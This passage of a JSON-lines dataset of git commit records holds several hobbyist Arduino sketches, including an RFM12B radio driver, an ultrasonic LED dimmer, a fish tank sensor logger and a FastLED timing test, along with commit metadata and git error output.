~(1<<STX_BIT); \/\/ start bit\n for( uint8_t i = 10; i; i-- ){ \/\/ 10 bits\n _delay_us( 1e6 \/ BAUD ); \/\/ bit duration\n if( c & 1 )\n STX_PORT &= ~(1<<STX_BIT); \/\/ data bit 0\n else\n STX_PORT |= 1<<STX_BIT; \/\/ data bit 1 or stop bit\n c >>= 1;\n }\n} \n\nvoid sputs(const void *s ) {\n uint8_t *s1 = (uint8_t*)s;\n while( *s1 )\n sputchar( *s1++ );\n}\n\nvoid sinit() {\n\n STX_PORT |= 1<<STX_BIT;\n STX_DDR |= 1<<STX_BIT; \n\n}\n\n#endif\n\/\/ Serial Functions End\n\nuint8_t rf12_initialize (uint8_t id, uint8_t band, uint8_t g) {\n nodeid = id;\n group = g;\n\n rf12_spiInit();\n\n rf12_xfer(0x0000); \/\/ intitial SPI transfer added to avoid power-up problem\n\n rf12_xfer(RF_SLEEP_MODE); \/\/ DC (disable clk pin), enable lbd\n\n \/\/ wait until RFM12B is out of power-up reset, this takes several *seconds*\n rf12_xfer(RF_TXREG_WRITE); \/\/ in case we're still in OOK mode\n while (digitalRead(RFM_IRQ) == 0)\n rf12_xfer(0x0000);\n\n rf12_xfer(0x80C7 | (band << 4)); \/\/ EL (ena TX), EF (ena RX FIFO), 12.0pF \n rf12_xfer(0xA640); \/\/ 868MHz \n rf12_xfer(0xC606); \/\/ approx 49.2 Kbps, i.e. 10000\/29\/(1+6) Kbps\n rf12_xfer(0x94A2); \/\/ VDI,FAST,134kHz,0dBm,-91dBm \n rf12_xfer(0xC2AC); \/\/ AL,!ml,DIG,DQD4 \n if (group != 0) {\n rf12_xfer(0xCA83); \/\/ FIFO8,2-SYNC,!ff,DR \n rf12_xfer(0xCE00 | group); \/\/ SYNC=2DXX\uff1b \n } \n else {\n rf12_xfer(0xCA8B); \/\/ FIFO8,1-SYNC,!ff,DR \n rf12_xfer(0xCE2D); \/\/ SYNC=2D\uff1b \n }\n rf12_xfer(0xC483); \/\/ @PWR,NO RSTRIC,!st,!fi,OE,EN \n rf12_xfer(0x9850); \/\/ !mp,90kHz,MAX OUT \n rf12_xfer(0xCC77); \/\/ OB1\uff0cOB0, LPX,\uff01ddy\uff0cDDIT\uff0cBW0 \n rf12_xfer(0xE000); \/\/ NOT USE \n rf12_xfer(0xC800); \/\/ NOT USE \n rf12_xfer(0xC049); \/\/ 1.66MHz,3.1V \n\n rxstate = TXIDLE;\n#if PINCHG_IRQ\n#if RFM_IRQ < 8\n if ((nodeid & NODE_ID) != 0) {\n bitClear(DDRD, RFM_IRQ); \/\/ input\n bitSet(PORTD, RFM_IRQ); \/\/ pull-up\n bitSet(PCMSK2, RFM_IRQ); \/\/ pin-change\n bitSet(PCICR, PCIE2); \/\/ enable\n } \n else\n bitClear(PCMSK2, RFM_IRQ);\n#elif RFM_IRQ < 14\n if ((nodeid & NODE_ID) != 0) {\n bitClear(DDRB, RFM_IRQ - 8); \/\/ input\n bitSet(PORTB, RFM_IRQ - 8); \/\/ pull-up\n bitSet(PCMSK0, RFM_IRQ - 8); \/\/ pin-change\n bitSet(PCICR, PCIE0); \/\/ enable\n } \n else\n bitClear(PCMSK0, RFM_IRQ - 8);\n#else\n if ((nodeid & NODE_ID) != 0) {\n bitClear(DDRC, RFM_IRQ - 14); \/\/ input\n bitSet(PORTC, RFM_IRQ - 14); \/\/ pull-up\n bitSet(PCMSK1, RFM_IRQ - 14); \/\/ pin-change\n bitSet(PCICR, PCIE1); \/\/ enable\n } \n else\n bitClear(PCMSK1, RFM_IRQ - 14);\n#endif\n#else\n if ((nodeid & NODE_ID) != 0)\n attachInterrupt(0, rf12_interrupt, LOW);\n else\n detachInterrupt(0);\n#endif\n\n return nodeid;\n}\n\nvoid rf12_sleep (char n) {\n if (n < 0) {\n rf12_control(RF_IDLE_MODE);\n } \n else {\n rf12_control(RF_WAKEUP_TIMER | 0x0500 | n);\n rf12_control(RF_SLEEP_MODE);\n if (n > 0)\n rf12_control(RF_WAKEUP_MODE);\n }\n rxstate = TXIDLE;\n}\n\nuint8_t rf12_recvDone () {\n if (rxstate == TXRECV && (rxfill >= rf12_len + 5 || rxfill >= RF_MAX)) {\n rxstate = TXIDLE;\n if (rf12_len > RF12_MAXDATA)\n rf12_crc = 1; \/\/ force bad crc if packet length is invalid\n if (!(rf12_hdr & RF12_HDR_DST) || (nodeid & NODE_ID) == 31 || (rf12_hdr & RF12_HDR_MASK) == (nodeid & NODE_ID)) {\n rf12_seq = -1;\n return 1; \/\/ it's a broadcast packet or it's addressed to this node\n }\n }\n if (rxstate == TXIDLE)\n rf12_recvStart();\n return 0;\n}\n\nstatic void rf12_recvStart () {\n rxfill = rf12_len = 0;\n rf12_crc = ~0;\n\n if (group != 0) {\n rf12_crc = _crc16_update(~0, group);\n }\n\n rxstate = TXRECV; \n rf12_xfer(RF_RECEIVER_ON);\n}\n\nvoid rf12_spiInit () {\n\n bitSet(SS_PORT, cs_pin);\n bitSet(SS_DDR, cs_pin);\n digitalWrite(SPI_SS, HIGH);\n pinMode(SPI_SS, OUTPUT);\n pinMode(SPI_MOSI, OUTPUT);\n pinMode(SPI_MISO, INPUT);\n pinMode(SPI_SCK, OUTPUT);\n\n \/\/ ATtiny\n USICR = bit(USIWM0); \n\n pinMode(RFM_IRQ, INPUT);\n digitalWrite(RFM_IRQ, HIGH); \/\/ pull-up\n}\n\nstatic uint8_t rf12_byte (uint8_t out) {\n\n \/\/ ATtiny\n USIDR = out;\n byte v1 = bit(USIWM0) | bit(USITC);\n byte v2 = bit(USIWM0) | bit(USITC) | bit(USICLK);\n#if F_CPU <= 5000000\n \/\/ only unroll if resulting clock stays under 2.5 MHz\n USICR = v1; \n USICR = v2;\n USICR = v1; \n USICR = v2;\n USICR = v1; \n USICR = v2;\n USICR = v1; \n USICR = v2;\n USICR = v1; \n USICR = v2;\n USICR = v1; \n USICR = v2;\n USICR = v1; \n USICR = v2;\n USICR = v1; \n USICR = v2;\n#else\n for (uint8_t i = 0; i < 8; ++i) {\n USICR = v1;\n USICR = v2;\n }\n#endif\n return USIDR;\n\n}\n\nstatic void rf12_xfer (uint16_t cmd) {\n \/\/ writing can take place at full speed, even 8 MHz works\n bitClear(SS_PORT, cs_pin);\n rf12_byte(cmd >> 8) << 8;\n rf12_byte(cmd);\n bitSet(SS_PORT, cs_pin);\n}\n\nuint8_t rf12_canSend () {\n if (rxstate == TXRECV && rxfill == 0 && (rf12_control(0x0000) & RF_RSSI_BIT) == 0) {\n rf12_control(RF_IDLE_MODE); \/\/ stop receiver\n rxstate = TXIDLE;\n return 1;\n }\n return 0;\n}\n\nvoid rf12_sendStart (uint8_t hdr) {\n rf12_hdr = hdr & RF12_HDR_DST ? hdr : (hdr & ~RF12_HDR_MASK) + (nodeid & NODE_ID);\n\n rf12_crc = ~0;\n\n rf12_crc = _crc16_update(rf12_crc, group);\n\n rxstate = TXPRE1;\n rf12_xfer(RF_XMITTER_ON); \/\/ bytes will be fed via interrupts\n}\n\nvoid rf12_sendStart (uint8_t hdr, const void* ptr, uint8_t len) {\n rf12_len = len;\n memcpy((void*) rf12_data, ptr, len);\n rf12_sendStart(hdr);\n}\n\n\/\/\/ @deprecated Use the 3-arg version, followed by a call to rf12_sendWait.\nvoid rf12_sendStart (uint8_t hdr, const void* ptr, uint8_t len, uint8_t sync) {\n rf12_sendStart(hdr, ptr, len);\n rf12_sendWait(sync);\n}\n\nvoid rf12_sendWait (uint8_t mode) {\n \/\/ wait for packet to actually finish sending\n \/\/ go into low power mode, as interrupts are going to come in very soon\n while (rxstate != TXIDLE)\n if (mode) {\n \/\/ power down mode is only possible if the fuses are set to start\n \/\/ up in 258 clock cycles, i.e. approx 4 us - else must use standby!\n \/\/ modes 2 and higher may lose a few clock timer ticks\n set_sleep_mode(mode == 3 ? SLEEP_MODE_PWR_DOWN :\n#ifdef SLEEP_MODE_STANDBY\n mode == 2 ? SLEEP_MODE_STANDBY :\n#endif\n SLEEP_MODE_IDLE);\n sleep_mode();\n }\n}\n\nuint16_t rf12_control(uint16_t cmd) {\n\n \/\/ ATtiny\n bitClear(GIMSK, INT0);\n uint16_t r = rf12_xferSlow(cmd);\n bitSet(GIMSK, INT0);\n\n return r;\n\n}\n\nstatic void rf12_interrupt() {\n \/\/ a transfer of 2x 16 bits @ 2 MHz over SPI takes 2x 8 us inside this ISR\n \/\/ correction: now takes 2 + 8 \u00b5s, since sending can be done at 8 MHz\n rf12_xfer(0x0000);\n\n if (rxstate == TXRECV) {\n uint8_t in = rf12_xferSlow(RF_RX_FIFO_READ);\n\n if (rxfill == 0 && group != 0)\n rf12_buf[rxfill++] = group;\n\n rf12_buf[rxfill++] = in;\n rf12_crc = _crc16_update(rf12_crc, in);\n\n if (rxfill >= rf12_len + 5 || rxfill >= RF_MAX)\n rf12_xfer(RF_IDLE_MODE);\n } \n else {\n uint8_t out;\n\n if (rxstate < 0) {\n uint8_t pos = 3 + rf12_len + rxstate++;\n out = rf12_buf[pos];\n rf12_crc = _crc16_update(rf12_crc, out);\n } \n else\n switch (rxstate++) {\n case TXSYN1: \n out = 0x2D; \n break;\n case TXSYN2: \n out = group; \n rxstate = - (2 + rf12_len); \n break;\n case TXCRC1: \n out = rf12_crc; \n break;\n case TXCRC2: \n out = rf12_crc >> 8; \n break;\n case TXDONE: \n rf12_xfer(RF_IDLE_MODE); \/\/ fall through\n default: \n out = 0xAA;\n }\n\n rf12_xfer(RF_TXREG_WRITE + out);\n }\n}\n\nstatic uint16_t rf12_xferSlow (uint16_t cmd) {\n \/\/ slow down to under 2.5 MHz\n#if F_CPU > 10000000\n bitSet(SPCR, SPR0);\n#endif\n bitClear(SS_PORT, cs_pin);\n uint16_t reply = rf12_byte(cmd >> 8) << 8;\n reply |= rf12_byte(cmd);\n bitSet(SS_PORT, cs_pin);\n#if F_CPU > 10000000\n bitClear(SPCR, SPR0);\n#endif\n return reply;\n}\n\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ATTinyRFTransmitterPulse.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"b69d8d42f66fc59cb747c5c5952f64c291c3cab2","subject":"anavi-led-dimmer: Add ultrasonic-led-dimmer.ino","message":"anavi-led-dimmer: Add ultrasonic-led-dimmer.ino\n\nExample usage of HC-SR4 ultrasonic sensor for measuring dinstance\non ATTiny85 to turn on and off a LED strip.\n\nSigned-off-by: Leon Anavi <be92910ae7bb6f58bb9b7c6f845bc30640119592@anavi.org>\n","repos":"AnaviTech\/anavi-examples,AnaviTech\/anavi-examples","old_file":"anavi-led-dimmer\/ultrasonic-led-dimmer\/ultrasonic-led-dimmer.ino","new_file":"anavi-led-dimmer\/ultrasonic-led-dimmer\/ultrasonic-led-dimmer.ino","new_contents":"\/**\n * Simple example for using HC-SR4 ultrasonic sensor with ATtiny85\n * and a potentiometer for a single channel non-addressable 12\/24V\n * LED strip.\n *\n * Place an object within 5cm or less to turn on the LED strip.\n * Control the brightness manually using the potentiometer.\n *\/\n\n\/\/ Iclude Arduino Pin Library\n#include <NewPing.h>\n\n\/\/ Pin for the button\n#define BUT 1\n\/\/ Pin to drive the LED strip\n#define PWM 0\n\/\/ Analog 1 corresponds to pin PB2\n#define POT 1\n\n#define echoPin 3\n#define trigPin 4\n\nNewPing sonar(trigPin, echoPin); \n\nvoid setup()\n{\n\tpinMode(PWM, OUTPUT);\n}\n\nvoid loop()\n{\n\tuint8_t distance = sonar.ping_cm();\n\n\tif (6 < distance)\n\t{\n\t\t\/\/ Turn off the LED strip\n\t\tanalogWrite(PWM, 0);\n\t}\n\telse\n\t{\n\t\t\/\/ Read potentiometer value in range 0 - 1024 \n\t\t\/\/ and map it to the LED\n\t\tint potValue = map(analogRead(1), 0, 1023, 0, 255);\n\t\tanalogWrite(PWM, potValue);\n\t}\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'anavi-led-dimmer\/ultrasonic-led-dimmer\/ultrasonic-led-dimmer.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"74b1bca3dca4dedb79c55b6cb1e682bfe4a99101","subject":"hmm the start signal should be generated in the right order \u2026","message":"hmm the start signal should be generated in the right order \u2026\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ShadowTest\/ShadowTest.ino","new_file":"ShadowTest\/ShadowTest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"fe38a65c5b47b78f1d711a0ea725df9c20d24aca","subject":"add example to set uuid and token","message":"add example to set uuid and token\n","repos":"octoblu\/microblu_ws,octoblu\/microblu_ws,octoblu\/microblu_ws","old_file":"examples\/skynetim_setuuid\/skynetim_setuuid.ino","new_file":"examples\/skynetim_setuuid\/skynetim_setuuid.ino","new_contents":"\/* \n * SSSSS kk tt \n * SS kk kk yy yy nn nnn eee tt \n * SSSSS kkkkk yy yy nnn nn ee e tttt \n * SS kk kk yyyyyy nn nn eeeee tt \n * SSSSS kk kk yy nn nn eeeee tttt \n * yyyyy \n * \n * SkynetClient for http:\/\/skynet.im, OPEN COMMUNICATIONS NETWORK & API FOR \n * THE INTERNET OF THINGS.\n * \n * This sketch sets your uuid and token into eeprom. SkynetClient will\n * get its own uuid and token, and will replace these if they're invalid, \n * but sometimes you want to set known values.\n *\/\n\n#include \"SkynetClient.h\"\n#include <EEPROM.h>\n#include \"Ethernet.h\"\n\n#define UUID \"XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX\"\n#define TOKEN \"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\"\n\n#include <JsonParser.h>\n\nEthernetClient client; \/\/just need a client to get a Skynet object\nSkynetClient skynetclient(client);\n\nvoid setup() {\n Serial.begin(9600);\n \n char uuid[UUIDSIZE];\n \n Serial.println(\"Reading uuid\");\n skynetclient.getUuid(uuid);\n Serial.print(\"uuid: \");\n Serial.println(uuid);\n \n skynetclient.getToken(uuid);\n Serial.print(\"token: \");\n Serial.println(uuid); \n \n Serial.println(\"Setting uuid:\");\n skynetclient.setUuid(UUID);\n Serial.println(\"Setting token:\");\n skynetclient.setToken(TOKEN);\n Serial.println(\"Set!\");\n \n Serial.println(\"Reading back\");\n skynetclient.getUuid(uuid);\n Serial.print(\"uuid: \");\n Serial.println(uuid);\n \n skynetclient.getToken(uuid);\n Serial.print(\"token: \");\n Serial.println(uuid); \n}\n\nvoid loop() {\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/skynetim_setuuid\/skynetim_setuuid.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"ae8dcedab4fd4179e853f45d45a7ab6f2212bd9d","subject":"Create LaundryWatcher.ino","message":"Create LaundryWatcher.ino","repos":"limited\/LaundryWatcher,limited\/LaundryWatcher","old_file":"LaundryWatcher.ino","new_file":"LaundryWatcher.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/limited\/LaundryWatcher.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"21b4f8ed9f5b2f0c4041b7a0ac16db0d180e7cba","subject":"adding arduino app, only has debug serial print right now","message":"adding arduino app, only has debug serial print right now\n","repos":"joshvillbrandt\/FishTankApp,joshvillbrandt\/FishTankApp","old_file":"arduino\/FishTankApp\/FishTankApp.ino","new_file":"arduino\/FishTankApp\/FishTankApp.ino","new_contents":"\/*\n FishTankApp.ino - Script to communicate with hardware device on the fish tank.\n Created by Josh Villbrandt (http:\/\/javconcepts.com\/), August 16, 2013.\n Released into the public domain.\n*\/\n\/\/ OneWire Library: http:\/\/www.pjrc.com\/teensy\/td_libs_OneWire.html\n\/\/ DallasTemperature Library: http:\/\/milesburton.com\/Main_Page?title=Dallas_Temperature_Control_Library\n\/\/ using a TMP36 for the ambient air sensor: https:\/\/www.sparkfun.com\/products\/10988\n\/\/ using a waterproof DS18B20 for the tank sensor: https:\/\/www.sparkfun.com\/products\/11050\n\/\/ serial interface copied from: https:\/\/gist.github.com\/biomood\/955869\n\n#include <OneWire.h>\n#include <DallasTemperature.h>\n#define DEBUG true\n\n\/\/ Setup a oneWire instance to communicate with any OneWire devices (not just Maxim\/Dallas temperature ICs)\n#define ONE_WIRE_BUS_PIN 2\nOneWire oneWire(ONE_WIRE_BUS_PIN);\nDallasTemperature sensors(&oneWire);\nDeviceAddress tankAddress;\n\nvoid setup(void)\n{\n \/\/ start serial port\n Serial.begin(9600);\n Serial.println(\"Dallas Temperature IC Control Library Demo\");\n\n \/\/ locate devices on the bus\n Serial.print(\"Locating devices...\");\n sensors.begin();\n Serial.print(\"Found \");\n Serial.print(sensors.getDeviceCount(), DEC);\n Serial.println(\" devices.\");\n\n \/\/ report parasite power requirements\n Serial.print(\"Parasite power is: \"); \n if (sensors.isParasitePowerMode()) Serial.println(\"ON\");\n else Serial.println(\"OFF\");\n\n \/\/ grab address\n if (!sensors.getAddress(tankAddress, 0)) Serial.println(\"Unable to find address for Device 0\");\n Serial.print(\"Device 0 Address: \");\n printAddress(tankAddress);\n Serial.println();\n\n \/\/ set the resolution to 12 bit\n sensors.setResolution(tankAddress, 12);\n Serial.print(\"Device 0 Resolution: \");\n Serial.print(sensors.getResolution(tankAddress), DEC); \n Serial.println();\n}\n\n\/\/ function to print the temperature for a device\nvoid printTemperature(float tempC)\n{\n \/\/Serial.print(tempC);\n \/\/Serial.print(\"C, \");\n Serial.print(DallasTemperature::toFahrenheit(tempC));\n Serial.print(\"F\");\n}\n\nvoid loop(void)\n{\n \/\/ dallas sensor\n sensors.requestTemperatures(); \/\/ Send the command to get temperatures\n \n \/\/ photo diode\n int lightRaw = analogRead(A0);\n \/\/ light off is about 20\n \/\/ light on is about 36\n boolean light = lightRaw > 28;\n \n \/\/ ambient temp sensor\n int tAmbientRaw = analogRead(A1);\n float tAmbientC = 100.0 * (tAmbientRaw\/1023.0)*5.0 - 50.0;\n \/\/float tAmbientF = tAmbientC * 9.0 \/ 5.0 + 32.0;\n \/\/ print out the value you read:\n \/\/Serial.print(tAmbientRaw);\n \/\/Serial.print(\"\\t\\t\");\n \/\/Serial.println(tAmbientF);\n \/\/delay(10); \/\/ delay in between reads for stability\n \n \/\/ It responds almost immediately. Let's print out the data\n if(DEBUG) {\n Serial.print(\"Light: \");\n \/\/Serial.print(lightRaw);\n if(light) Serial.print(\"on \");\n else Serial.print(\"off\");\n Serial.print(\" Ambient: \");\n printTemperature(tAmbientC); \/\/ Use a simple function to print out the data\n Serial.print(\" Tank: \");\n printTemperature(sensors.getTempC(tankAddress)); \/\/ Use a simple function to print out the data\n Serial.println(\"\");\n }\n}\n\n\/\/ function to print a device address\nvoid printAddress(DeviceAddress deviceAddress)\n{\n for (uint8_t i = 0; i < 8; i++)\n {\n if (deviceAddress[i] < 16) Serial.print(\"0\");\n Serial.print(deviceAddress[i], HEX);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/FishTankApp\/FishTankApp.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"83a6ce3a5c7f1b7d887b209986f115b622f1b5c5","subject":"adds arduino script","message":"adds arduino script\n","repos":"basilleaf\/blackcat,basilleaf\/blackcat","old_file":"black_cat_detector.ino","new_file":"black_cat_detector.ino","new_contents":"\/\/ this runs on the Arduino\n\nint lightPin = 0; \/\/define a pin for Photo resistor\nint avgRead; \/\/ place holder for average\n\nvoid setup()\n{\n Serial.begin(9600);\n}\n\nvoid loop(){\n getReading(5);\n delay(1000);\n }\n\nvoid getReading(int times){\n int reading;\n int tally=0;\n \/\/take the reading however many times was requested and add them up\n for(int i = 0;i < times;i++){\n reading = analogRead(lightPin);\n tally = reading + tally;\n delay(10);\n }\n \/\/calculate the average and set it\n avgRead = (tally)\/times;\n Serial.println(avgRead);\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'black_cat_detector.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"821bf872f4e7c82070c5ef9a8b7b52db6e36b6b8","subject":"new file: blink_from_serial\/blink_from_serial\/blink_from_serial.ino","message":"new file: blink_from_serial\/blink_from_serial\/blink_from_serial.ino\n","repos":"fabiantheblind\/digitalio,fabiantheblind\/digitalio","old_file":"blink_from_serial\/blink_from_serial\/blink_from_serial.ino","new_file":"blink_from_serial\/blink_from_serial\/blink_from_serial.ino","new_contents":"\/**\n * This programm takes the input of the serial\n * and toggles a LED when it is a 0 or 1\n *\/\nint ledpin = 13;\nvoid setup() {\n Serial.begin(9600);\n \/\/ put your setup code here, to run once:\n pinMode(ledpin, OUTPUT);\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n if (Serial.available() > 0) {\n int value = Serial.read();\n Serial.print(\"This is what I recieved >> \");\n Serial.println(value);\n if (value == '1') {\n digitalWrite(ledpin, HIGH);\n }\n if (value == '0') {\n digitalWrite(ledpin, LOW);\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'blink_from_serial\/blink_from_serial\/blink_from_serial.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"098b61e391105adb5e61db2934317a3242b63e8a","subject":"Added simple example code","message":"Added simple example code\n","repos":"wilhelmryan\/FastLED,wsilverio\/FastLED,felixLam\/FastLED,PaulStoffregen\/FastLED,FastLED\/FastLED,tullo-x86\/FastLED,kcouck\/FastLED,PaulStoffregen\/FastLED,FastLED\/FastLED,PaulStoffregen\/FastLED,tullo-x86\/FastLED,kcouck\/FastLED,ryankenney\/FastLED,FastLED\/FastLED,remspoor\/FastLED,yaneexy\/FastLED,MattDurr\/FastLED,liyanage\/FastLED,FastLED\/FastLED,wsilverio\/FastLED,eshkrab\/FastLED-esp32,eshkrab\/FastLED-esp32,yaneexy\/FastLED,remspoor\/FastLED,ryankenney\/FastLED,MiketheChap\/FastLED,neographophobic\/FastLED,NicoHood\/FastLED,NicoHood\/FastLED,corbinstreehouse\/FastLED,felixLam\/FastLED,MattDurr\/FastLED,corbinstreehouse\/FastLED,MiketheChap\/FastLED,neographophobic\/FastLED,wilhelmryan\/FastLED,liyanage\/FastLED","old_file":"examples\/Fast2Dev\/Fast2Dev.ino","new_file":"examples\/Fast2Dev\/Fast2Dev.ino","new_contents":"#include \"FastSPI_LED2.h\"\n\n\/\/ #include \"FastSPI_LED.h\"\n\/\/ #if defined(ARDUINO) && ARDUINO >= 100\n\/\/ #include \"xxxArduino.h\"\n\/\/ #include <xxxpins_arduino.h>\n\/\/ #else\n\/\/ #include \"xxxWProgram.h\"\n\/\/ #include <xxxpins_arduino.h>\n\/\/ #include \"xxxwiring.h\"\n\/\/ #endif\n\n#define DEBUG\n#ifdef DEBUG\n#define DPRINT Serial.print\n#define DPRINTLN Serial.println\n#else\n#define DPRINT(x)\n#define DPRINTLN(x)\n#endif\n\n\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ test code\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/ #include <FastSPI_LED2.h>\n#define NUM_LEDS 86\n\nstruct CRGB { byte r; byte g; byte b; };\n\nstruct CRGB leds[NUM_LEDS];\n\n\/\/ Hardware SPI - .652ms for an 86 led frame @8Mhz (3.1Mbps?), .913ms @4Mhz 1.434ms @2Mhz\n\/\/ Hardware SPIr2 - .539ms @8Mhz, .799 @4Mhz, 1.315ms @2Mhz\n\/\/ With the wait ordering reversed, .520ms at 8Mhz, .779ms @4Mhz, 1.3ms @2Mhz\nLPD8806Controller<11, 13, 10> LED;\n\n\/\/ Same Port, non-hardware SPI - 1.2ms for an 86 led frame, 1.12ms with large switch \n\/\/ r2 - .939ms without large switch .823ms with large switch\n\/\/ r3 - .824ms removing 0 balancing nop, .823 with large switch removing balancing\n\/\/ LPD8806Controller<12, 13, 10> LED;\n\n\/\/ Different Port, non-hardware SPI - 1.47ms for an 86 led frame\n\/\/ Different PortR2, non-hardware SPI - 1.07ms for an 86 led frame\n\/\/ LPD8806Controller<7, 13, 10> LED;\n\n\/\/ Hardware SPI - .652ms for an 86 led frame @8Mhz (3.1Mbps?), .913ms @4Mhz 1.434ms @2Mhz\n\/\/ With the wait ordering reversed, .520ms at 8Mhz, .779ms @4Mhz, 1.3ms @2Mhz\n\/\/ WS2801Controller<11, 13, 10> LED;\n\n\/\/ Same Port, non-hardware SPI - 1.2ms for an 86 led frame, 1.12ms with large switch \n\/\/ WS2801Controller<12, 13, 10> LED;\n\n\/\/ Different Port, non-hardware SPI - 1.47ms for an 86 led frame\n\/\/ WS2801Controller<7, 13, 10> LED;\n\n\/\/ TM1809Controller800Mhz<6> LED;\n\/\/ UCS1903Controller400Mhz<7> LED;\n\/\/ WS2811Controller800Mhz<8> LED;\n\/\/ TM1803Controller400Mhz<5> LED;\n\n\/\/ struct aLED { void init() { FastSPI_LED.setLeds(NUM_LEDS, (unsigned char*)leds); FastSPI_LED.setPin(8); FastSPI_LED.setChipset(CFastSPI_LED::SPI_LPD8806); FastSPI_LED.init(); FastSPI_LED.start();}; void showRGB(byte *, int) { FastSPI_LED.show();} } LED;\n\/\/ int ledset = 0;\n\/\/ void show() { \n\/\/ \tswitch(ledset) {\n\/\/ \t\tcase 0: LED.showRGB((byte*)leds, NUM_LEDS); break;\n\/\/ \t \/\/ \tcase 1: LED2.showRGB((byte*)leds, NUM_LEDS); break;\n\/\/ \t\t\/\/ case 2: LED3.showRGB((byte*)leds, NUM_LEDS); break;\n\/\/ \t\t\/\/ case 3: LED4.showRGB((byte*)leds, NUM_LEDS); break;\n\/\/ \t\t\/\/ case 4: LED5.showRGB((byte*)leds, NUM_LEDS); break;\n\/\/ \t}\t\n\n\/\/ \t\/\/ LED.showRGB((byte*)leds, NUM_LEDS);\n\/\/ \t\/\/ LED2.showRGB((byte*)leds, NUM_LEDS);\n\/\/ \t\/\/ LED3.showRGB((byte*)leds, NUM_LEDS);\n\/\/ \t\/\/ LED4.showRGB((byte*)leds, NUM_LEDS);\n\/\/ \t\/\/ LED5.showRGB((byte*)leds, NUM_LEDS);\n\/\/ \tmemset(leds, 0, NUM_LEDS * sizeof(struct CRGB));\n\/\/ }\n\n\nvoid setup() {\n\n#ifdef DEBUG\n Serial.begin(38400);\n Serial.println(\"resetting!\");\n#endif\n\n\tLED.init();\n\n#ifdef DEBUG\n\tint start = millis();\n\tfor(int i = 0; i < 1000; i++){ \n\t\tLED.showRGB((byte*)leds, NUM_LEDS);\n\t}\n\tint end = millis();\n\tDPRINT(\"Time for 1000 loops: \"); DPRINTLN(end - start);\n#endif \n}\n\nvoid loop() { \n\tmemset(leds, 0, NUM_LEDS * sizeof(struct CRGB));\n\tLED.showRGB((byte*)leds, NUM_LEDS);\n\t\/\/ ledset++;\n\t\/\/ if(ledset > 4) { ledset = 0; }\n\t\/\/ ledset = 0;\n\t\/\/ \/\/ memset( leds, 128, NUM_LEDS * sizeof(struct CRGB));\n\t\/\/ \/\/ show();\n\t\/\/ for(int i = 0; i < 3; i++) {\n\t\/\/ \tfor(int iLed = 0; iLed < NUM_LEDS; iLed++) {\n\t\/\/ \t\tmemset(leds, 0, NUM_LEDS * sizeof(struct CRGB));\n\t\/\/ \t\tswitch(i) { \n\t\/\/ \t\t \tcase 0: leds[iLed].r = 128; break;\n\t\/\/ \t\t \tcase 1: leds[iLed].g = 128; break;\n\t\/\/ \t\t \tcase 2: leds[iLed].b = 128; break;\n\t\/\/ \t\t }\n\n\t\/\/ \t\tshow();\n\t\/\/ \t\t\/\/ delay(20);\n\t\/\/ \t}\n\t\/\/ }\n\t\/\/ for(int i = 0; i < 64; i++) { \n\t\/\/ \tmemset(leds, i, NUM_LEDS * 3);\n\t\/\/ \tshow();\n\t\/\/ \tdelay(20);\n\t\/\/ }\n\t\/\/ for(int i = 64; i >= 0; i--) { \n\t\/\/ \tmemset(leds, i, NUM_LEDS * 3);\n\t\/\/ \tshow();\n\t\/\/ \tdelay(20);\n\t\/\/ }\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Fast2Dev\/Fast2Dev.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"933cae1c42b3b15bbc68c0d03d702bd7bd23c528","subject":"poc sound detection","message":"poc sound detection\n","repos":"dave-ausbone\/TJU-SST,dave-ausbone\/TJU-SST,dave-ausbone\/TJU-SST","old_file":"project\/project.ino","new_file":"project\/project.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see 